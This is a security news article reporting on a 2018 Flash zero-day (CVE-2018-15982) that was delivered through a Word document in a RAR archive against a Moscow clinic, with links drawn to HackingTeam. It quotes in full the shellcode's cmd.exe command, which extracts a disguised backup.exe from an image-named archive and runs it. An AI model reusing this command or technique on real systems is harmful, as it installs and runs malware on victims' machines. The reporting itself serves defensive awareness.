Sunday, December 3, 2023

Hackers Exploiting Adobe Flash Zero-Day that Launching via a Microsoft Office Document

APT group widely exploiting the new Adobe flash 0day vulnerability via MS word document and the vulnerability allows attackers to execute the malicious flash object into victims machine.

Attackers mainly targeting Russian state healthcare clinic through the crafted document that contains several pages in order to forge employee to open it and exploiting this Flash 0day vulnerability.

Distributing Forged fake application refers the “Polyclinic No. 2″, an adult outpatient clinic located in Moscow, Russia.

Researchers name this attack as  “Operation Poison Needles” since the attack targeting the medical institution and they believe that this attack was highly targetted.

Some of the exploits indicate that this 0day exploit distributed by a HackingTeam, an Italian offensive security company who sells both surveillance tools and remote access as a service.

These are several previous incidents which were done by HackingTeam are very similar to this current exploitation including similarities in the use of VMProtect to protect follow on payloads, masquerading as legitimate applications etc.

0day vulnerability Exploitation Process

An initial stage of attacking launching via RAR compressed package that contains embedded Flash Active X control which will be rendered upon the word document when victims open the file eventually the vulnerability will be triggered.

In other words, 360 Core Security team stated in their report, The attacker launched the attack through a RAR compressed package. Once the victim opens the bait document in the compressed package, the vulnerability will be triggered

Flash exploit support 32bit and 64-bit systems and performing entirely in performed on a private field of the document.

Also, a flash file contains a hardcoded path C:\”, that might be the path of the weaponized document file.

According to gigamon analysis report, “The Flash file and shellcode stubs do not make use of remote inclusion, staging, obfuscation, or anti-analysis of any kind. Both shellcode stubs execute “cmd.exe” with the same supplied command: 

C:\WINDOWS\system32\cmd.exe /c set path=%ProgramFiles(x86)%\WinRAR;C:\Program
 Files\WinRAR; && cd /d %~dp0 & rar.exe e -o+ -r -inul*.rarscan042.jpg &
rar.exe e -o+ -r -inulscan042.jpg backup.exe & backup.exe

Once the above file will be executed, it unpacks the “scan042.jpg”  from any .rar archives then unarchive “backup.exe” from “scan042.jpg” and execute the final payload backup.exe.

Payload and exploit will be immediately executed once users opening the document within the archive which means that user doesn’t need to first unarchive the exploit document and payload.

Main payload name as  “backup.exe” placed within “scan042.jpg which is windows executable that pretending as a  Nvidia Control Panel application with matching icon.

Also, it protects with a VMProtect that helps to prevent reverse engineering and analysis and once it executed then the payload collects system information, establishes persistence, and communicates with a remote server via HTTP POST.

Adobe Issued an Immediate patch

Adobe has issued a security patch for this 0day vulnerability that affected Flash Player and earlier version and the  CVE-2018-15982 ID assigned. user urged to update to version immediately to prevent from this attack.



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BALAJI is an Ex-Security Researcher (Threat Research Labs) at Comodo Cybersecurity. Editor-in-Chief & Co-Founder - Cyber Security News & GBHackers On Security.

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